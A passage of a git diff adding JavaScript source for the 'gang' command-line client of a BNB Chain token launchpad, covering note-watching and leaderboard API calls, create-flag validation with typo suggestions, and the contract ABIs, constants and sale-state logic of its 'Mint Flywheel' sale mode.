followed: a.follow ? { followers: a.follow.followers, usd: a.follow.usd, settled: a.follow.settled, winRate: r4(a.follow.winRate), avgRet: r4(a.follow.avgRet) } : null, + } : null, + }, + note: noteText(n), + token: { + address: n.token?.address ?? null, symbol: n.token?.symbol ?? null, track: TRACK[n.token?.track] ?? n.token?.track ?? null, + progressPct: n.market?.progressPct ?? null, graduated: !!n.market?.graduated, + // price change since the note's trade, e.g. 0.12 = +12% + changeSinceNote: n.perf?.changeNow ?? null, + }, + trade: n.trade ? { amount: n.trade.quoteAmount, quote: n.trade.quoteSymbol, usd: n.trade.usd } : null, + follow: f ? { + open: !!f.open, blind: !!f.blindNow, until: f.until ? localTime(f.until) : null, + followers: f.n ?? 0, usd: f.usd ?? 0, settled: f.settled ?? 0, wins: f.win ?? 0, + } : null, + ...(f?.open && { next: `gang follow ${n.tx} --bnb ` }), + } +} + +const notesQuery = ({ all, agents, minHit, token, sort, limit, before }) => { + const q = new URLSearchParams({ limit: String(limit) }) + // --all: every public note, including ones whose text was never revealed + q.set(all ? 'withExpired' : 'followable', '1') + if (agents?.length) q.set('agent', agents.join(',')) + if (minHit != null) q.set('minHit', String(minHit)) + if (token) q.set('token', token.toLowerCase()) + if (sort && sort !== 'new') q.set('sort', sort) + if (before) q.set('before', before) + return `/notes?${q}` +} + +/** → { items (API note items), hasMore }. */ +export async function fetchNotes(opts, stop) { + const body = await get(notesQuery(opts), stop, FALLBACK) + if (!Array.isArray(body?.items)) throw new Error(`gang API has no note list at ${notesQuery(opts)}`) + return { items: body.items, hasMore: !!body.hasMore } +} + +/** Every followable note (newest first, up to WATCH_PAGES pages) → { items, truncated }. */ +async function followableNow(opts, stop) { + const items = [] + let before = null + for (let i = 0; i < WATCH_PAGES; i++) { + const body = await get(notesQuery({ ...opts, all: false, sort: 'new', limit: PAGE, before }), stop, FALLBACK) + if (!Array.isArray(body?.items)) throw new Error('gang API has no note list at /notes') + items.push(...body.items) + if (!body.hasMore || !body.next) return { items, truncated: false } + before = body.next + } + return { items, truncated: true } +} + +/** + * Poll the followable notes and call emit(event): `note` for one that wasn't followable before, `revealed` when a + * sealed one's text goes public. Like `gang watch`, the first poll only snapshots what's there (`gang notes` lists it). + * Polls the whole followable list each time and compares by tx, so a note indexed late is never skipped. + * skip(item): notes to leave out (e.g. the agent's own). + */ +export async function watchNotes({ intervalSec, agents, minHit, token, events, skip = () => false, emit, shouldStop, stop }) { + const want = (e) => !events || events.has(e) + const sleep = async (s) => { + const end = Date.now() + s * 1000 + while (Date.now() < end && !shouldStop()) await new Promise((r) => setTimeout(r, Math.min(1000, end - Date.now()))) + } + const opts = { agents, minHit, token } + // tx → status ('ok' | 'sealed' | …); only grows (capped), so a note missing from one poll doesn't come back as new + const seen = new Map() + const remember = (n) => { + seen.set(n.tx, n.status) + if (seen.size > SEEN_CAP) seen.delete(seen.keys().next().value) + } + let warned = false + const warnTruncated = (truncated) => { + if (!truncated || warned) return + warned = true + emit({ event: 'error', error: `more than ${PAGE * WATCH_PAGES} followable notes; only the newest are watched (narrow with --agent / --min-hit)` }, { meta: true }) + } + const first = await followableNow(opts, stop) + for (const n of first.items) remember(n) + emit({ event: 'watching', mode: 'notes', followable: first.items.length, intervalSec, ...(agents && { agents }), ...(minHit != null && { minHit }) }, { meta: true }) + warnTruncated(first.truncated) + for (;;) { + await sleep(intervalSec) + if (shouldStop()) return + try { + const { items, truncated } = await followableNow(opts, stop) + warnTruncated(truncated) + // oldest first, so events come out in the order the notes were written + for (const n of items.reverse()) { + const prev = seen.get(n.tx) + remember(n) + let ev = null + if (prev === undefined) ev = 'note' + else if (prev !== 'ok' && n.status === 'ok') ev = 'revealed' + if (!ev || skip(n) || !want(ev)) continue + emit({ event: ev, ...noteRow(n) }) + if (shouldStop()) return + } + } catch (e) { + if (shouldStop()) return + emit({ event: 'error', error: e.message }, { meta: true }) + } + } +} + +/** Agent leaderboard rows (board=notes: note record + how its notes were followed). */ +export async function agentBoard({ window, sort, limit }) { + const q = new URLSearchParams({ board: 'notes', window, limit: String(limit), ...(sort && { sort }) }) + const body = await get(`/agents/leaderboard?${q}`, undefined, FALLBACK) + if (!Array.isArray(body?.items)) throw new Error('gang API has no agent leaderboard at /agents/leaderboard') + return { + window: body.window ?? window, sort: body.sort ?? sort, updatedAt: body.updatedTs ? localTime(body.updatedTs) : null, + agents: body.items.map((r) => { + const n = r.notes || {}, f = r.follow || {} + return { + rank: r.rank, address: r.address, handle: r.handle ?? null, + notes: { shown: n.count, judged: n.scored, hits: n.hits, hitRate: r4(n.hitRate), score: n.score == null ? null : Math.round(n.score), revealRate: r4(n.revealRate) }, + followed: { notes: f.notes, followers: f.followers, usd: f.usd, settled: f.settled, winRate: r4(f.winRate), avgRet: r4(f.avgRet) }, + next: `gang notes --agent ${r.handle || r.address}`, + } + }), + } +} diff --git a/src/flags.js b/src/flags.js new file mode 100644 index 0000000..bf51f2b --- /dev/null +++ b/src/flags.js @@ -0,0 +1,69 @@ +/** + * The flags a create takes (gang create, gang v3 / fair / fly create, a launch in one command). Anything else is refused + * before any wrap / approve round or upload: a token's links and metadata can never change after the create, and a + * misspelled --website (--x, --website-url, --website=…) used to be dropped without a word. + */ +import { FLY_CREATE_FLAGS } from './fly.js' +import { LAUNCH_FLAGS } from './launch.js' + +export const LINK_FLAGS = ['website', 'twitter'] +// gang create: V3 by default, a 打新 sale with --fair; a setting of the other kind is refused, not ignored +export const V3_CREATE_FLAGS = ['buy-tax', 'sell-tax', 'dividend', 'recipient'] +export const FAIR_CREATE_FLAGS = ['raise', 'cap', 'hold', 'mint-fee', 'exit-fee', 'shares'] + +export const CREATE_ACCEPTS = new Set([ + 'name', 'symbol', 'logo', 'logo-file', 'file-logo', 'logo-uri', 'keep-logo-uri', ...LINK_FLAGS, 'description', + 'quote', 'ref-pool', 'grad', 'vault', 'testnet', 'calldata', 'from', 'note', 'conf', 'reveal-after', + 'fair', 'fly', ...V3_CREATE_FLAGS, ...FAIR_CREATE_FLAGS, ...FLY_CREATE_FLAGS, + // a launch in one command: its dev buy reads --slippage like gang buy, its bond --use-wbnb like gang bond post + ...LAUNCH_FLAGS, 'slippage', 'use-wbnb', + // refused further on, each with its own reason + 'follow', 'cover', 'taxed', 'pair', 'pair-or-quote', 'hours', +]) + +// what people type for the two link flags +const LINK_TYPOS = { + website: ['url', 'site', 'web', 'homepage', 'link', 'website-url', 'web-url', 'site-url', 'websiteurl', 'www'], + twitter: ['x', 'x-url', 'xurl', 'twitter-url', 'twitter-link', 'twitter-handle', 'tw', 'handle'], +} +const LINK_HINT = { website: '--website ', twitter: '--twitter @handle (or an x.com link)' } + +const distance = (a, b) => { + let prev = Array.from({ length: b.length + 1 }, (_, j) => j) + for (let i = 1; i <= a.length; i++) { + const row = [i] + for (let j = 1; j <= b.length; j++) row[j] = Math.min(prev[j] + 1, row[j - 1] + 1, prev[j - 1] + (a[i - 1] === b[j - 1] ? 0 : 1)) + prev = row + } + return prev[b.length] +} + +/** The closest flag `accepts` has to a mistyped `name` (2 edits at most, case ignored), or null. */ +export function suggestFlag(name, accepts) { + const n = name.toLowerCase() + for (const [to, typos] of Object.entries(LINK_TYPOS)) if (typos.includes(n)) return to + let best = null, bestD = 3 + for (const f of accepts) { + const d = distance(n, f) + if (d < bestD) { best = f; bestD = d } + } + return best +} + +/** + * The error for the first flag in argv (process.argv.slice(2)) that `accepts` lacks, or null when every flag is known. + * A flag is a word starting with "--" and a letter; values ("--- launch day ---") are left to the flag that reads them. + */ +export function unknownFlagError(argv, accepts, label) { + for (const a of argv) { + if (!/^--[A-Za-z]/.test(a)) continue + const raw = a.slice(2) + const [name, eq] = [raw.split('=')[0], raw.includes('=')] + if (accepts.has(raw)) continue + if (eq && accepts.has(name)) return `--${raw}: give the value after a space (--${name} ${raw.slice(name.length + 1) || ''})` + const to = suggestFlag(name, accepts) + const hint = !to ? 'see gang help for its flags.' : LINK_HINT[to] ? `did you mean ${LINK_HINT[to]}?` : `did you mean --${to}?` + return `--${raw} is not a flag of ${label}: ${hint} Nothing was uploaded or sent: unknown flags are refused, since a token's links and metadata can never change after the create` + } + return null +} diff --git a/src/fly.js b/src/fly.js new file mode 100644 index 0000000..071d33e --- /dev/null +++ b/src/fly.js @@ -0,0 +1,1183 @@ +import { createPublicClient, parseAbi, encodeFunctionData, decodeEventLog, formatUnits, parseEther, parseUnits, isAddress, zeroAddress } from 'viem' +import { defaultRefPool, dividendOf, VAULT_ABI, fundingStep as fund, parseAmount, parseIntIn, parseNum, poolSellQuote, POOL_SELL_HINT, revertOf as revertIn, roomyGas, ROUTER_ABI, ROUTER_HINTS, step, swapBackState, units, GAS_RESERVE } from './steps.js' +import { API, get as apiGet } from './discover.js' +import { walletFor } from './fair.js' +import { MERGED_ERRORS_ABI, MERGED_HINTS, PAD3_GEN, padNets, rpcTransport } from './gangpad.js' +import { poolPayBnb, poolTrade } from './pool.js' + +/** + * `gang fly …` — 铸币飞轮 (Mint Flywheel, track `fly`): kind 3, on GangLaunchpad 3.0 and on GangFlywheelPad V1 / V2. + * Before launch: 10,000 shares at one price (sale.basePrice), a quota per wallet (baseQuota + invite bonus), sell-back + * at the mint price less an exit fee. The sale fills (or the creator opens it early at ≥ 30%), then anyone launches it + * `launchDelay` later: a PancakeSwap pool at the mint price, with a protection window (Agent ID + a per-wallet buy cap). + * After launch (sale.postMint) minting goes on at the tier price: the money goes into the pool (part of it buys), the + * tokens are minted. Pool tax: buy 1%, sell 1–2%; holders who minted share part of it (the hold line, `holdBps`). + * No GangBond and no buy-back splitter on these tokens (phase 1). + * Contracts: gang-launchpad src/flywheel (GangFlywheelPad, FlywheelTaxHandler, GangMintToken; issue #75), src/gang + * Pad3FlyModule (docs/SPEC-GANG-LAUNCHPAD-3-2026-11-03.md §10). + * Three pad versions: V1 (the first pad), V2 (FlyConfig adds guardBps / twapWindow; post-launch mints check only the TWAP + * guard and the price above the pool) and 3 (GangLaunchpad 3.0's 铸币飞轮 mode: V2's rules and selectors at 3.0's address). + * New tokens go to 3.0; every other command uses the token's own pad. The tax handler, token and token deployer are the + * same code on all three. What differs on 3.0, which also holds curve and 打新 tokens: + * - kindOf(token) tells a fly token: its launchpad() does not (3.0's curve and 打新 tokens name 3.0 too), and allTokens / + * tokenCount cover every kind (padOf, flyTokensOf); + * - taxHandler() is the curve / 打新 one: a fly token's is flyTaxHandler() (handlerOf). The holder-reward vault is the same, + * but vault.launchpadOf(token) names 3.0's vault core, not 3.0, so nothing here reads it; + * - TOKENS_PER_SHARE() is 打新's 50,000: a fly share stays 100,000 (TOKENS_PER_SHARE below; shareSizeOf(token) on chain); + * - sales(token) has V2's shape only for a kind-3 token: read it after kindOf. + * Trades go direct to the pad (and the GangRouter's pool functions): GangGateway cannot mint or sell back 3.0's fly tokens. + * Env: GANG_FLY_PAD / GANG_TESTNET_FLY_PAD override V1, GANG_FLY_PAD_V2 / GANG_TESTNET_FLY_PAD_V2 V2; 3.0 and the RPCs are + * GangLaunchpad's (gangpad.js), and so is the GangRouter of pool trades. + */ +export const FLY_PADS = { + // V2 deployed 2026-10-31; its tokens stay there (creates go to 3.0: flyCtx) + mainnet: { v1: '0x631e66560F4FAE4e486B65349edE48189E48B029', v2: '0x281889ad915c1A95ffc4922235c6314b3Cbd8a5a', startBlock: 130634782n }, + // V1: testnet set 2 (2026-10-30, after the pre-mainnet audit fixes); V2 from block 139842621 (2026-10-31) + testnet: { v1: '0xD6482850aCAC74BA889804931Fc797294777951c', v2: '0x706973e4F08dBf1604Cf540d0168428521e0E3d6', startBlock: 139749672n }, +} + +// V1's FlyConfig; V2 appends guardBps and twapWindow (CFG_V2): a new create / checkConfig selector and Created topic +const CFG = '(uint256 raiseBnb, uint16 baseQuota, uint8 inviteBonus, uint8 maxPerTx, uint16 holdBps, uint16 mintFeeBps, uint16 exitFeeBps, uint16 devCutBps, uint16 buyBps, uint16 sellTaxBps, uint32 launchDelay, uint32 window, uint8 windowCapMul, bool postMint, uint8 tierMode, uint16 stepBps, uint32 stepShares, uint16 maxMulX100, uint16 supplyCapMul)' +const SALE = '(address creator, address quote, address gate, address pair, uint128 basePrice, uint64 totalShares, uint64 filledAt, uint64 progressAt, uint16 sold, uint16 creatorShares, uint16 markSold, uint16 baseQuota, uint16 holdBps, uint16 mintFeeBps, uint16 exitFeeBps, uint16 devCutBps, uint16 buyBps, uint32 launchDelay, uint32 window, uint8 inviteBonus, uint8 maxPerTx, uint8 windowCapMul, uint8 tierMode, uint16 stepBps, uint32 stepShares, uint16 maxMulX100, bool postMint, bool launched)' +export const FLY_PAD_ABI = parseAbi([ + `function create(string[4] text, address quote, address refPool, ${CFG} cfg, uint256 devShares) returns (address token)`, + `function checkConfig(${CFG} cfg, uint256 devShares) view returns (bool ok, string reason)`, + 'function mint(address token, uint256 shares, uint256 minShares, address referrer) returns (uint256 spent)', + 'function mintWithBnb(address token, uint256 shares, uint256 minShares, address referrer) payable returns (uint256 spent)', + 'function withdraw(address token, uint256 shares, uint256 minPayout) returns (uint256 payout)', + 'function openEarly(address token)', + 'function launch(address token)', + 'function mintPost(address token, uint256 shares, uint256 minTokensOut, uint256 maxSpent, address referrer) returns (uint256 tokensOut, uint256 spent)', + 'function mintPostWithBnb(address token, uint256 shares, uint256 minTokensOut, address referrer) payable returns (uint256 tokensOut, uint256 spent)', + 'function claimDev(address token) returns (uint256 amount)', + `function sales(address token) view returns (${SALE})`, + 'function accounts(address token, address user) view returns (uint32 preShares, uint32 used, uint32 bonus, bool minted, uint64 windowStart, uint128 windowSpent, uint256 baseline)', + 'function quotaLeft(address token, address user) view returns (uint256)', + 'function sharePrice(address token, uint256 shares) view returns (uint256)', + 'function previewMint(address token, address user, uint256 shares) view returns (uint256 accepted, uint256 cost, uint256 fee)', + 'function previewMintPost(address token, address user, uint256 shares) view returns (uint256 accepted, uint256 paid, uint256 fee, uint256 tokensOut, bool ok)', + 'function previewWithdraw(address token, address user, uint256 shares) view returns (uint256 payout, uint256 fee)', + 'function prices(address token) view returns (uint256 spot, uint256 blockStart, uint256 high, uint256 average)', + 'function exitFeeBpsOf(address token) view returns (uint256)', + 'function owedDev(address token) view returns (uint256)', + 'function kindOf(address token) view returns (uint8)', + 'function isAgent(address account) view returns (bool)', + 'function migrator() view returns (address)', + 'function taxHandler() view returns (address)', + 'function flyTaxHandler() view returns (address)', + 'function tokenVersionOf(address token) view returns (uint8)', + 'function dividendVault() view returns (address)', + 'function agentGateEnabled() view returns (bool)', + 'function tokenCount() view returns (uint256)', + 'function allTokens(uint256) view returns (address)', + 'function logoURIOf(address token) view returns (string)', + 'error ZeroAddress()', 'error ZeroAmount()', 'error BadAmount()', 'error BadConfig(string reason)', 'error UnknownToken()', + 'error NotAgent()', 'error NotMinting()', 'error NotLaunched()', 'error NotFilled()', 'error TooEarly()', 'error OnlyCreator()', + 'error Slippage()', 'error PriceBelowAverage()', 'error PriceBelowRecentHigh()', 'error PriceAbovePool()', 'error PaceExceeded()', + 'error PostMintOff()', 'error MigratorNotSet()', 'error VaultFloorTooHigh()', 'error PriceTooSmall()', 'error NothingOwed()', + 'error BnbNotQuote()', 'error BnbShort()', 'error OnlyRouter()', 'error TraderNotOrigin()', 'error RouterNeedsGate()', + 'error TooFewShares()', 'error QuoteNotAllowed()', 'error RefPoolRequired()', 'error NoBridgePool()', 'error BridgeNotWbnb()', + 'error PoolNotFactory()', 'error QuoteNotInPool()', 'error PoolNoLiquidity()', 'error ThinReferencePool()', 'error NotContract()', + 'error UnknownPoolType()', 'error V3FactoryNotSet()', 'error FeeOnTransferQuote()', 'error CapExceeded()', + `event Created(address indexed token, address indexed creator, string name, string symbol, string logoURI, address quote, uint256 basePrice, ${CFG} cfg)`, + 'event Minted(address indexed token, address indexed trader, uint256 shares, uint256 cost, uint256 fee, uint256 sold)', + 'event Withdrawn(address indexed token, address indexed trader, uint256 shares, uint256 payout, uint256 fee)', + 'event Referred(address indexed token, address indexed referrer, address indexed invitee, uint256 bonus)', + 'event Filled(address indexed token, uint256 sold, bool early)', + 'event Launched(address indexed token, address pair, uint256 poolTokens, uint256 poolQuote, uint256 devCut)', + 'event PostMinted(address indexed token, address indexed trader, uint256 shares, uint256 paid, uint256 fee, uint256 devCut, uint256 tokensOut, uint256 boughtQuote)', + 'event DevPaid(address indexed token, address indexed creator, uint256 amount)', + 'event DevOwed(address indexed token, address indexed creator, uint256 amount)', + 'event FeeOwed(address indexed quote, uint256 amount)', + 'event FeesFlushed(address indexed quote, uint256 amount)', + 'event ShareWriteFailed(address indexed token, address indexed user, uint256 share)', + 'event TokenVersionSet(address indexed token, uint8 version)', +]) +const CFG_V2 = CFG.replace(/\)$/, ', uint16 guardBps, uint32 twapWindow)') +/** What V1 does not have: V2's, and 3.0's with the same selectors (everything else in FLY_PAD_ABI is the same on all). */ +export const FLY_PAD_V2_ABI = parseAbi([ + `function create(string[4] text, address quote, address refPool, ${CFG_V2} cfg, uint256 devShares) returns (address token)`, + `function checkConfig(${CFG_V2} cfg, uint256 devShares) view returns (bool ok, string reason)`, + 'function postRulesOf(address token) view returns (uint16 guardBps, uint32 twapWindow)', + `event Created(address indexed token, address indexed creator, string name, string symbol, string logoURI, address quote, uint256 basePrice, ${CFG_V2} cfg)`, +]) +export const FLY_HANDLER_ABI = parseAbi([ + 'function protectionOf(address token) view returns (uint64 until, address gate, uint256 cap)', + 'function boughtInWindow(address token, address user) view returns (uint256)', + 'function isOut(address token, address user) view returns (bool)', + 'function eligibleShare(address token, address user) view returns (uint256)', + 'function owedOf(address token) view returns (uint256)', + 'function release(address token) returns (uint256 amount)', + 'function blockRefOf(address token) view returns (uint32 blockNumber, uint224 price)', + 'function prevBlockStartOf(address token) view returns (uint256)', + 'error ProtectionNotAgent()', 'error ProtectionCapExceeded()', 'error PriceBelowReference()', 'error NothingOwed()', + 'error SellDuringFlashSwap()', 'error OutOfGas()', + 'event Launched(address indexed token, uint256 protectedUntil, address gate, uint256 cap, uint256 launchPrice)', + 'event Disqualified(address indexed token, address indexed user, uint256 balance, uint256 baseline)', + 'event Requalified(address indexed token, address indexed user)', + 'event TaxAccrued(address indexed token, address indexed from, address indexed to, uint256 taxAmount, uint256 accrued)', + 'event TaxChunkSold(address indexed token, uint256 taxTokens, uint256 quoteOut, uint256 holderUnits, bool swapBack)', + 'event TaxDistributed(address indexed token, uint256 taxTokens, uint256 quoteOut, uint256 toHolders, uint256 toPlatform, uint256 toDev)', + 'event TaxPaid(address indexed token, address indexed recipient, address indexed quote, uint256 amount)', + 'event TaxOwed(address indexed token, address indexed recipient, address indexed quote, uint256 amount)', + 'event PlatformOwed(address indexed quote, uint256 amount)', + 'event PlatformFlushed(address indexed quote, uint256 amount)', + 'event HolderConversionDeferred(address indexed token, uint256 units, uint256 quote)', + 'event ShareWriteFailed(address indexed token, address indexed user, uint256 share)', +]) +const TOKEN_ABI = parseAbi([ + 'function launchpad() view returns (address)', + 'function balanceOf(address) view returns (uint256)', + 'function symbol() view returns (string)', + 'function totalSupply() view returns (uint256)', + 'function maxSupply() view returns (uint256)', + 'function mintRoom() view returns (uint256)', + 'function buyTaxBps() view returns (uint16)', + 'function sellTaxBps() view returns (uint16)', + 'error CapExceeded()', 'error TransfersLocked()', +]) +const ERC721_ABI = parseAbi(['function balanceOf(address) view returns (uint256)']) +const PAIR_ABI = parseAbi(['function getReserves() view returns (uint112, uint112, uint32)', 'function token0() view returns (address)']) +const DEX_ABI = parseAbi(['function getAmountsOut(uint256 amountIn, address[] path) view returns (uint256[] amounts)']) +const GANG_ROUTER_VIEW = parseAbi(['function pancakeRouter() view returns (address)']) + +/** What `gang tx` decodes a 铸币飞轮 tx's logs with (the pad, the tax handler, the holder-reward vault). */ +export const FLY_EVENT_ABIS = [FLY_PAD_ABI, FLY_PAD_V2_ABI, FLY_HANDLER_ABI, VAULT_ABI] + +// platform constants (FlywheelLogic): the pad's own numbers, fixed in the contract +const TOTAL_SHARES = 10_000 +const TOKENS_PER_SHARE = 100_000n * 10n ** 18n +const EARLY_OPEN_SHARES = 3_000 +const LAUNCH_GRACE = 7 * 86_400 +const STALE_AFTER = 7 * 86_400 +const BUY_TAX_PCT = 1 +const Q112 = 1n << 112n +const TIERS = ['flat', 'standard', 'linear'] +// gas-limit floors (roomyGas; alone when a pending approve leaves nothing to estimate): a pool trade or post-launch mint +// can be the token's first pool touch in its block, which costs more than an estimate made against the block before. +// Chapel fork: a pool buy at its bare estimate (431k) ran out of gas inside the holder-share sync and used 428k with +// room; a sell that also sold a tax chunk ran out at 750k and used 661k with room (estimate 755k) +// a launch on 3.0: 2.54M to 3.80M measured on forks +const GAS_FLOOR = { buy: 750_000n, sell: 1_200_000n, mintPost: 900_000n, launch: 5_000_000n } +const GAS_NOTE = 'gas limit set with room: a hot token\'s first trade in a block costs more than the estimate shows' + +const HINTS = { + BadConfig: 'a setting is out of bounds: see reason', + NotAgent: 'this wallet holds no Agent ID; 铸币飞轮 is Agent-only', + NotMinting: 'the sale no longer takes pre-launch mints / sell-backs (filled, opened early or launched): gang info shows its state', + NotLaunched: 'the token has not launched yet', + NotFilled: 'the sale has not filled (or been opened early) yet: nothing to launch', + TooEarly: 'too early: launch waits launchDelay after the fill; open-early needs at least 30% (3,000 shares) sold', + OnlyCreator: 'only the creator can open the sale early', + Slippage: 'fewer shares / tokens than the minimum: the sale or the price moved; re-run to re-quote', + PriceBelowAverage: 'the pool price is too far below its average (V1: 10% under 30 minutes; V2: the sale\'s guard under its TWAP window): post-launch mints pause until it recovers (gang info: postMint)', + PriceBelowRecentHigh: 'the pool price is more than 10% below its recent high: post-launch mints pause until it recovers (the high decays 0.5% a minute)', + PriceAbovePool: 'the mint price is more than 10% above the pool price right now (the pool just dropped): try again shortly', + PaceExceeded: 'this wallet minted too much too fast: recent post-launch mints (decaying over 30 minutes) plus this one may be at most 2% of the pool\'s quote side; mint fewer shares or wait', + PostMintOff: 'this sale has no post-launch minting: trade the token in the pool (gang buy / gang sell)', + MigratorNotSet: 'the 铸币飞轮 pad is not open on this network yet', + BnbShort: 'the BNB sent does not cover the mint (the tier price moved up): re-run to re-quote', + BnbNotQuote: 'this sale is not WBNB-quoted: pay in its quote (leave out BNB payment)', + TooFewShares: 'fewer than 3,000 shares are still held 7 days after the fill: the sale can no longer launch, only refund (gang withdraw)', + NothingOwed: 'nothing is owed', + CapExceeded: 'the token\'s supply cap is reached: post-launch minting is over, trade in the pool', + ProtectionNotAgent: 'launch protection: only Agent ID holders can buy from the pool until it ends (gang info: protection.until)', + ProtectionCapExceeded: 'launch protection: this buy goes past the wallet\'s protected buy cap (gang status: protection.capLeftTokens)', + VaultFloorTooHigh: 'the platform\'s dividend vault requires a larger holding than this pad allows, so no sale can be created right now; ask gang to fix the vault setting', + QuoteNotAllowed: '--quote must be WBNB or a listed 18-decimal ERC-20, and not a token of GangLaunchpad 3.0 (leave it out to use WBNB)', + RefPoolRequired: 'this quote needs --ref-pool (a Pancake pool pricing it)', + PriceTooSmall: 'the raise in this quote is too small to split into 10,000 shares', + FeeOnTransferQuote: 'the quote token takes a fee on transfer; it cannot be used', + RouterNeedsGate: 'this sale has no Agent gate, so router entries are off', +} +const revertOf = (e) => revertIn(e, [FLY_PAD_ABI, FLY_HANDLER_ABI, TOKEN_ABI, ROUTER_ABI, MERGED_ERRORS_ABI], { ...MERGED_HINTS, ...ROUTER_HINTS, ...HINTS }) + +/** + * Network settings: GangLaunchpad's chain, RPCs, WBNB and GangRouter (pool trades), with the fly pads. ctx.pad / + * ctx.version start as the create target (3.0); bindPad switches them to a token's own pad. + */ +export function flyCtx(testnet) { + const net = padNets('v3')[testnet ? 'testnet' : 'mainnet'] + const fly = FLY_PADS[testnet ? 'testnet' : 'mainnet'] + const env = (n) => process.env[testnet ? `GANG_TESTNET_${n}` : `GANG_${n}`] + const pads = [ + { address: net.gens.find((g) => g.gen === PAD3_GEN)?.pad, version: 3 }, + { address: env('FLY_PAD_V2') || fly.v2, version: 2 }, + { address: env('FLY_PAD') || fly.v1, version: 1 }, + ].filter((p) => p.address) + const client = createPublicClient({ chain: net.chain, transport: rpcTransport(net.rpcs) }) + // pool trades go through the GangRouter they were accepted with (1.0's), whatever generation GangLaunchpad creates on + const router = (net.gens.find((g) => g.gen === '1.0') ?? net).router + return { + ...net, router, pads, pad: pads[0].address, version: pads[0].version, startBlock: fly.startBlock, client, + read: (address, abi, functionName, args = []) => client.readContract({ address, abi, functionName, args }), + } +} + +/** + * The fly pad `token` belongs to, or null (not a fly token on these pads). A GangMintToken names its pad (launchpad()), + * and every token of V1 / V2 is a fly token; 3.0 also holds curve and 打新 tokens that name it, so only its kindOf counts. + * Other tokens are asked of each pad's kindOf. Throws on an RPC error. + */ +async function padOf(ctx, token) { + const named = await ctx.read(token, TOKEN_ABI, 'launchpad').catch(() => null) + const known = named && ctx.pads.find((p) => same(p.address, named)) + if (known && known.version !== 3) return known + for (const p of ctx.pads) { + if (Number(await ctx.read(p.address, FLY_PAD_ABI, 'kindOf', [token])) === 3) return p + } + return null +} + +/** true when `token` is a 铸币飞轮 token on one of the pads; null on an RPC error. */ +export async function isFlyToken(ctx, token) { + try { + return !!(await padOf(ctx, token)) + } catch { + return null + } +} + +/** Point ctx at `token`'s own pad (V1, V2 or 3.0); false when it is on none. */ +async function bindPad(ctx, token) { + const p = await padOf(ctx, token) + if (!p) return false + ctx.pad = p.address + ctx.version = p.version + return true +} + +/** The pad takes creates only once its migrator is set (mainnet: when the Safe opens it). */ +export async function padOpen(ctx) { + return (await ctx.read(ctx.pad, FLY_PAD_ABI, 'migrator')) !== zeroAddress +} +/** The create target has no migrator yet: say which pad, and that existing tokens are not affected. */ +const closed = (ctx, testnet) => `the ${{ 3: 'GangLaunchpad 3.0 ', 2: 'V2 ' }[ctx.version] ?? ''}铸币飞轮 (Mint Flywheel) pad on BSC ${testnet ? 'testnet' : 'mainnet'} is not open yet (no migrator set), so it takes no creates right now; existing 铸币飞轮 tokens keep working${testnet ? '' : '. Use --testnet to try it there'}` + +const symbolOf = async (ctx, token) => { try { return await ctx.read(token, TOKEN_ABI, 'symbol') } catch { return null } } +const pct = (bps) => Number(bps) / 100 +/** The fewest tokens that keep a wallet in: the handler puts it out when balance × 10,000 < baseline × holdBps, so round up. */ +const holdLine = (baseline, holdPct) => (baseline * BigInt(Math.round(holdPct * 100)) + 9_999n) / 10_000n +const minOf = (x, slippagePct) => (x * BigInt(Math.round((100 - slippagePct) * 100))) / 10_000n +/** The chain's time (the latest block's timestamp, read once per command): the rules are judged by it, not this machine's clock. */ +const chainNow = (ctx) => (ctx.nowP ??= ctx.client.getBlock().then((b) => Number(b.timestamp), () => Math.floor(Date.now() / 1000))) +const iso = (t) => (t ? new Date(Number(t) * 1000).toISOString() : null) +/** A Q112 price (quote wei per token wei × 2^112) → quote per token, as a decimal string. */ +const q112 = (p) => formatUnits((p * 10n ** 18n) / Q112, 18) +const same = (a, b) => String(a).toLowerCase() === String(b).toLowerCase() +const short = (e) => e?.shortMessage || String(e?.message || e).split('\n')[0] + +// 3.0's allTokens holds every kind: at most this many of its newest tokens are read, in multicall batches of FLY_BATCH +const FLY_SCAN = 5000 +const FLY_BATCH = 400 +/** `pad` (3.0)'s 铸币飞轮 tokens, newest first. */ +async function flyTokensOf(ctx, pad, count) { + const take = Math.min(count, FLY_SCAN) + const multi = (functionName, args) => ctx.client.multicall({ + allowFailure: false, batchSize: 0, contracts: args.map((a) => ({ address: pad, abi: FLY_PAD_ABI, functionName, args: [a] })), + }) + const found = [] + for (let from = 0; from < take; from += FLY_BATCH) { + const idx = Array.from({ length: Math.min(FLY_BATCH, take - from) }, (_, i) => BigInt(count - 1 - from - i)) + const tokens = await multi('allTokens', idx) + const kinds = await multi('kindOf', tokens) + found.push(...tokens.filter((_, i) => Number(kinds[i]) === 3)) + } + return found +} + +/** The site's invite link for `token` (the site reads ?ref= and passes it to the wallet's first mint). */ +export const inviteLink = (token, referrer) => `https://gang.fun/token/${token}?ref=${referrer}` + +/** A sale as the pad stores it, with what it means now. null when the token is not on this pad. */ +export async function saleOf(ctx, token) { + const s = await ctx.read(ctx.pad, FLY_PAD_ABI, 'sales', [token]) + if (s.creator === zeroAddress) return null + const [exitNowBps, quoteSymbol, t] = await Promise.all([ctx.read(ctx.pad, FLY_PAD_ABI, 'exitFeeBpsOf', [token]), symbolOf(ctx, s.quote), chainNow(ctx)]) + const filledAt = Number(s.filledAt) + const launchAt = filledAt ? filledAt + Number(s.launchDelay) : null + const graceEnds = filledAt ? launchAt + LAUNCH_GRACE : null + const sold = Number(s.sold) + // minting → filled (waiting for launch) → launched; a filled sale not launched within 7 days reopens sell-backs and + // launches only while ≥ 3,000 shares are held (refund: below that it only refunds) + const status = s.launched ? 'launched' + : !filledAt ? 'minting' + : t >= graceEnds ? (sold >= EARLY_OPEN_SHARES ? 'stalled' : 'refund') + : 'filled' + return { + token, status, padVersion: ctx.version, pad: ctx.pad, creator: s.creator, quote: s.quote, quoteSymbol, gate: s.gate === zeroAddress ? null : s.gate, + pair: s.pair === zeroAddress ? null : s.pair, launched: s.launched, + sharePriceRaw: s.basePrice, sharePrice: await units(ctx, s.quote, s.basePrice), + raise: await units(ctx, s.quote, s.basePrice * BigInt(TOTAL_SHARES)), + tokensPerShare: formatUnits(TOKENS_PER_SHARE, 18), + sold, totalShares: TOTAL_SHARES, sharesLeft: s.launched || filledAt ? 0 : TOTAL_SHARES - sold, + mintedShares: Number(s.totalShares), creatorShares: Number(s.creatorShares), + minWalletsLeft: s.launched || filledAt ? 0 : Math.ceil((TOTAL_SHARES - sold) / Number(s.baseQuota)), + canOpenEarly: !s.launched && !filledAt && sold >= EARLY_OPEN_SHARES, 